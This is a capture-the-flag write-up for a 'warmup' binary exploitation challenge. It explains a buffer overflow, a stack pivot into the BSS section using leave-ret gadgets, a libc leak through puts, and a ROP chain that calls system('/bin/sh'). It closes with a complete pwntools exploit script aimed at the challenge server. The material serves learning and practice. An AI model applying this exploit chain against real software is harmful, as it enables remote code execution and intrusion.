This was a simple challenge made to make the solver think. Hope you had fun doing it! 🙂
Let us first look at the protections enabled on the binary:
NX is enabled so shellcode injection is not possible. The buffer overflow is apparent from the disassembly. There is a read call of 0x80 bytes on a buffer of size 0x70. So we can overflow once, but where do we get from there? This is a 64-bit binary so we can only overwrite the saved rbp and rip.
The trick is to cause a stack pivot. We need to pivot the stack to the data/BSS section of the binary, and since PIE is disabled, we can reliably write to it. Since NX is enabled so shellcode injection is not possible, we are going to have to stick with ROP to make this. That means we need to make a ROP chain and re-route the execution flow of the program to it. For this purpose, we can simply write the ROP chain when we pivot the stack in the data/BSS section, and then pivot the stack again! 😉
So far, the logic works like this:
- Overflow the buffer, change the value of rbp to a point in the data/BSS section and the value of rip to main where the read call would happen again such that the data now gets read to the data/BSS section (I overwrote rip with 0x40066b for convenience).
- The program again stops for user input as it encounters the read call. Give the ROP chain here, and overflow the buffer again.
Now comes the only part where you need to think. What do we overwrite rip with the second time around? We need to redirect control flow to our ROP chain, to do that we will give the address of the leave-ret gadget (at 0x400695) in rip and corrupt the value of rbp as well. To understand why we do this, let us revise what the leave instruction does. The leave instruction can simply be said to do this:
mov rsp, rbp pop rbp
This means that if we have corrupted the rbp to point to the address of the ROP chain and then called the leave-ret gadget, rsp will first become equal to the value of rbp (i.e. the address of the ROP chain) and then the ret instruction will be called, executing our ROP chain!
Turns out, we have to make 2 ROP chains – the first for the leaking the libc and the second to call system. That can be achieved simply by repeating the same procedure.
So the whole process becomes:
- Overflow the buffer, change the value of rbp to a point in the data/BSS section and rip to main where the read call would happen again such that the data now gets read to the data/BSS section (I overwrote rip with 0x40066b for convenience).
- The program again stops for user input as it encounters the read call. Give the ROP chain for the libc leak here, and overflow the buffer again.
- Corrupt rbp with the address of the ROP chain and rip with the address of the leave-ret gadget.
- Re-route the program to the read call and give an address in the data/BSS section again – this time writing the ROP chain with addresses of the system function and /bin/sh.
- Again overflow the buffer with the value of rbp pointing to the ROP chain and rip to the leave-ret gadget.
- Execution of the program is directed to the ROP chain and we get shell.
Here’s the script:
from pwn import * ropchain = 0x601040+0x100 read_main = 0x40066b leave_ret = 0x400695 puts_got = 0x601018 puts_plt = 0x4004e0 pop_rdi = 0x400703 pop_rbp = 0x4005e8 pop_rsi_r15 = 0x400701 main = 0x400636 def exploit(): p.recvuntil('Welcome to bi0s CTF!\n') payload = 'A'*112 payload += p64(ropchain) payload += p64(read_main) p.send(payload) p.recvuntil('Welcome to bi0s CTF!\n') payload = p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(pop_rbp) payload += p64(ropchain+0x300) payload += p64(read_main) payload += 'A'*(80-8-8) payload += p64(0x6010c8) + p64(leave_ret) p.send(payload) leak = p.recv(6) leak = leak + '\x00'*2 leak = u64(leak) system = leak - 172800 binsh = leak + 1169031 p.recvuntil('Welcome to bi0s CTF!\n') payload = p64(pop_rdi) payload += p64(binsh) payload += p64(pop_rsi_r15) payload += p64(0)*2 payload += p64(system) payload += 'A'*64 payload += p64(0x6010c8+0x300) + p64(leave_ret) p.send(payload) p.interactive() if __name__ == '__main__': if sys.argv == 'local': p = process('./warmup') else: p = remote('18.104.22.168', 4444) exploit()
Well, that gives the flag. Let us know if you have any questions in the comments section below. Happy pwning. 🙂